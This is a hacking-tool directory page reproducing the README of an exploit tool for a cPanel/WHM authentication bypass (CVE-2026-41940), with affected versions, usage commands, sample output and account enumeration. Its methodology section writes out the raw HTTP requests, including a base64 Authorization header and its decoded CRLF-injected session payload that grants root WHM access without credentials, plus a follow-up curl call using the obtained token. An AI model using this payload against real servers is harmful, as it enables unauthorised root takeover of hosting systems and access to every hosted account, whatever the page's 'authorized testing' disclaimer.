Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacyΒ© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cPanel-WHM-CVE-2026-41940-auth-bypass-exploit β€” Critical authentication bypass exploit for cPanel/WHM CVE-2026-41940. Leverages CRLF injection in cpsrvd daemon to gain root WHM access without credentials. Includes version detection, verbose logging, proxy support, JSON reporting, and post-exploitation account enumeration. For authorized security testing only. | Kitploit
Tools/GitHubGitHub/cerberusmrxi/cpanel-whm-cve-2026-41940-auth-bypass-exploit
Authentication & AuthorizationVulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration Testing
GitHubcerberusmrxi/cpanel-whm-cve-2026-41940-auth-bypass-exploit

cPanel-WHM-CVE-2026-41940-auth-bypass-exploit

About

Critical authentication bypass exploit for cPanel/WHM CVE-2026-41940. Leverages CRLF injection in cpsrvd daemon to gain root WHM access without credentials. Includes version detection, verbose logging, proxy support, JSON reporting, and post-exploitation account enumeration. For authorized security testing only.

View Repository
21483 months agoNot yet reviewed
Share

CVE-2026-41940 - cPanel & WHM Authentication Bypass Exploit

PythonLicenseCVECVSSStatus

Critical Authentication Bypass via CRLF Injection in cPanel/WHM cpsrvd Daemon


πŸ“‹ Overview

CVE-2026-41940 is a critical authentication bypass vulnerability in cPanel & WHM that allows unauthenticated remote attackers to gain root-level administrative access to the server. The vulnerability exists in the cpsrvd daemon's session handling, specifically within Cpanel/Session.pm, where improper neutralization of line delimiters (CRLF) in the whostmgrsession cookie and Authorization headers enables session parameter injection.

CVSS ScoreExploit TypeImpactAttack Vector
9.8Authentication BypassRoot AccessNetwork
c

⚑ Key Features

This exploit tool provides the following key features:

  • πŸ”“ Authentication Bypass - Gain root WHM access without credentials

  • πŸ›‘οΈ Multiple Bypass Techniques - Automatically tries different verification methods

  • 🌐 Proxy Support - Route traffic through HTTP/HTTPS proxies

  • πŸ“Š JSON Reporting - Generate detailed assessment reports

  • πŸ“ Comprehensive Logging - Verbose debug mode with timestamps

  • πŸ” Version Detection - Automatically detect and check vulnerable versions

  • πŸ‘₯ Account Enumeration - List all cPanel accounts post-exploitation

  • 🎯 Multiple Endpoints - Attempts various API endpoints for verification


🚨 Vulnerability Details

AttributeValue
CVE IDCVE-2026-41940
CVSS Score9.8 (Critical)
Vulnerability TypeAuthentication Bypass via CRLF Injection
Affected Componentcpsrvd daemon (Cpanel/Session.pm)
Attack VectorNetwork
ImpactFull Root Access
ExploitationUnauthenticated Remote

πŸ”¬ Technical Analysis

The vulnerability stems from two main issues:

  1. CRLF Injection in Session Storage - The saveSession function fails to sanitize newline characters (\n) in the pass field before writing to the session file, allowing injection of arbitrary session parameters.

  2. Conditional Encoding Bypass - When the session cookie lacks the ob part (the segment after the comma), the pass value is written unencoded (cleartext), enabling the injection of CRLF sequences.

🎯 Affected Versions

Release TrackVulnerable Up ToPatched Version
11.110.x11.110.0.9611.110.0.97
11.118.x11.118.0.6211.118.0.63
11.126.x11.126.0.5311.126.0.54
11.132.x11.132.0.2811.132.0.29
11.134.x11.134.0.1911.134.0.20
11.136.x11.136.0.411.136.0.5

πŸ“¦ Installation

Prerequisites

# Python 3.6 or higher required
python3 --version

# Install required packages
pip install -r requirements.txt

Requirements File

requests>=2.28.0
urllib3>=1.26.0

Clone Repository

git clone https://github.com/CerberusMrXi/cPanel-WHM-CVE-2026-41940-auth-bypass-exploit.git
cd cPanel-WHM-CVE-2026-41940-auth-bypass-exploit

πŸš€ Usage

Basic Usage

python3 exploit.py --target https://target.com:2087

Advanced Usage

# Verbose mode with debug output
python3 exploit.py --target https://target.com:2087 --verbose

# Through proxy
python3 exploit.py --target https://target.com:2087 --proxy http://127.0.0.1:8080

# Save report and list accounts
python3 exploit.py --target https://target.com:2087 --output report.json --list-accounts

# Custom timeout
python3 exploit.py --target https://target.com:2087 --timeout 30

Example Output

=======================================================
 CVE-2026-41940 - cPanel/WHM Authentication Bypass
 Critical CRLF Injection in cpsrvd (CVSS: 9.8 )
 Exploit Version: 1.0
=======================================================
 Target      : https://target.com:2087
 Started     : 2026-07-26 22:23:18
=======================================================
2026-07-26 22:23:18 [INFO] Detecting cPanel/WHM version...
2026-07-26 22:23:19 [INFO] Version: 11.110.0.85 - Vulnerable
2026-07-26 22:23:19 [INFO] Attempting to mint pre-authentication session...
2026-07-26 22:23:20 [INFO] Pre-authentication session obtained successfully
2026-07-26 22:23:20 [INFO] Injecting CRLF payload via Authorization header...
2026-07-26 22:23:21 [INFO] Token leaked: /cpsess1234567890
2026-07-26 22:23:21 [INFO] Verifying root access with multiple bypass techniques...
2026-07-26 22:23:25 [INFO] Access verified with URL format: /cpsess-{token}

=======================================================
 EXPLOIT SUCCESSFUL
=======================================================
 Target              : https://target.com:2087
 Token               : /cpsess1234567890
 Admin URL           : https://target.com:2087/cpsess1234567890/
 Version             : 11.110.0.85
 Verification Method : url_format
 Completed           : 2026-07-26 22:23:25
=======================================================

[!] Access WHM with the token above
[!] Use the token in all subsequent requests
[!] Example: curl -k "https://target.com:2087/cpsess1234567890/json-api/version?api.version=1"
=======================================================

πŸ”§ Command Line Arguments

ArgumentShortRequiredDescription
--target-tβœ…Target URL (e.g., https://target.com:2087 )
--verbose-v❌Enable verbose/debug output
--proxy-p❌Proxy URL (e.g., http://127.0.0.1:8080 )
--output-o❌Output file for JSON report
--timeout❌Request timeout in seconds (default: 10)
--list-accounts-l❌List cPanel accounts after successful exploit
--version❌Show exploit version

πŸ”¬ Exploit Methodology

Stage 1: Mint Pre-Auth Session

The exploit first obtains a pre-authentication session cookie by attempting a failed login:

POST /login/?login_only=1 HTTP/1.1
Host: target.com:2087
Content-Type: application/x-www-form-urlencoded

user=root&pass=wrong_pass

Response:

Set-Cookie: whostmgrsession=base64_encoded_data

Stage 2: CRLF Injection

The crafted Authorization header injects malicious session parameters:

GET / HTTP/1.1
Host: target.com:2087
Authorization: Basic cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x
Cookie: whostmgrsession=[SESSION_BASE]

Decoded Payload:

root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1

Stage 3: Token Extraction

The server responds with a redirect containing the administrative session token:

Location: /cpsess1234567890/

Stage 4: Access Verification

The exploit attempts multiple verification methods to confirm root access.


🎯 Post-Exploitation Commands

Once the exploit is successful, use the following commands with the obtained token:

Download Tool

Most Popular

View all β†’

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    871
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    548
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    383
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    361
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    305
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurityβ€”where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    280

Explore all tools

Browse our collection of tools

View all tools β†’